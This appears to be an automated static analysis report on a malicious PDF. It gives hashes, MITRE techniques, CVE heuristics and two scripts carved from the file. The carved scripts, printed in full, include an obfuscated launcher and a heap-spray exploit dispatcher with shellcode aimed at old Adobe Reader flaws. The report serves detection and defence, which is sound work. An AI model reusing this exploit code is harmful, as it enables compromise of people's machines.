Malicious PDF — malware analysis report

Static analysis result for SHA-256 8ffa616a041703de…

MALICIOUS

PDF

28.7 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: ba88147389b774d461969a11b8ff0d1a SHA-1: 7fdd4fff8f668054a2b27a3a2e38b61735029fb0 SHA-256: 8ffa616a041703de2e0c8d2c713b9fb7dc77a2743bcf30d4e1e98b0a61eae118
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript, named 'javascript_obj0001_000.js', is likely responsible for downloading and executing a second-stage payload. The 'String.fromCharCode' usage in the document metadata and script suggests obfuscation techniques are employed.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 632 bytes
SHA-256: 25440e65b6d78769cbaea2167bd238930ef1b852d341e7aecdf71228a9e60379
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
fwxc='';
var q2 = date.getFullYear()-2007;
khct='2011s'.replace(date.getFullYear(),'hi');
gaind=('.tit2011').replace(date.getFullYear(),'le');
Function('','swth=t'+khct+gaind)();
tprua=('sub2011').replace(date.getFullYear(),'ject');
Function('','pnwpf=t'+khct+'.'+tprua)();
var pnwpf=pnwpf.replace(date.getFullYear(),'al');
Function('','rak=t'+khct+'.'+pnwpf)();
qgmn='.pro2011cer';
qgmn=rak('qgmn.replace(date.getFullYear(),"du")');
Function('','siemp=t'+khct+qgmn)();
qfyg=rak(siemp);
gkm = rak(swth);
for (i = 0; i < gkm.length; i++) {
	ypn = gkm[i];
	fwxc += qfyg(ypn);
}
rak(fwxc);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x347 3636 bytes
SHA-256: 594e2448815c42954a5a59e742bf353d846eada83a2345d6b28418146693014a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ud034%ue2aa%uc3fa%ue5e8%uffff%u39ff%ud1dc%ud0d0%u518e%u8c3c%ud0d1%u59d0%u5d37%uc09f%ubf5d%ue184%u870b%u8381%u8383%u8383%u8383%u8385%ub883%ud1d4%ud0d0%u8685%ub883%ubebf%ud0d0%ua5b8%ubca2%u84bd%u5eb8%ude9e%u383c%ud098%ud0d0%u3880%ud0ac%ud0d0%u002f%u1453%ub8d8%u3f9f%ud59f%u3880%ud0bc%ud0d0%u002f%u1055%uc7a5%u84ba%u2389%ub87a%u2ea2%uc663%ucd38%ud0d0%u80d0%u8138%ud0d0%u2fd0%u8300%u2eba%u59b8%ud1bf%u386d%ud0d8%ud0d0%u3880%ud0ec%ud0d0%u002f%ue1b0%ub410%u805b%u5be0%udc82%u825b%u5bc4%uf8a2%uc869%ud0d0%ue1d0%ue12f%u7c10%ub1ec%ud2ac%uf0fc%u1f11%ud1dd%u3217%u5120%u8b2f%u9a6c%u5bba%uc092%uc25b%u09a5%u9459%uccf4%u13b1%u5bb0%uf4bc%u5bf4%uec95%u845b%ua8d5%u3ad1%u9a5b%u5bc8%uf08a%u3bd1%ue433%u5b99%u5be4%u3ed1%u2fe1%u10e1%u7c2c%u1054%ud7a4%u1f11%ud1dd%u3b17%ueb24%uf4ac%ua5f8%u5b31%uf48a%u3bd1%u5bb6%u9bdc%u8a5b%ud1cc%u5b3b%u5bd4%u38d1%u9459%uccf4%u12b1%ud0d8%u3f38%u2f2e%ub82f%ua4a4%ueaa0%uffff%ub1a0%ua2b4%ub3fe%ufebf%ub3b3%ua5ff%ua0fe%ua0b8%ub6ef%ue2ed%uf6e8%uedb5%ud0e3';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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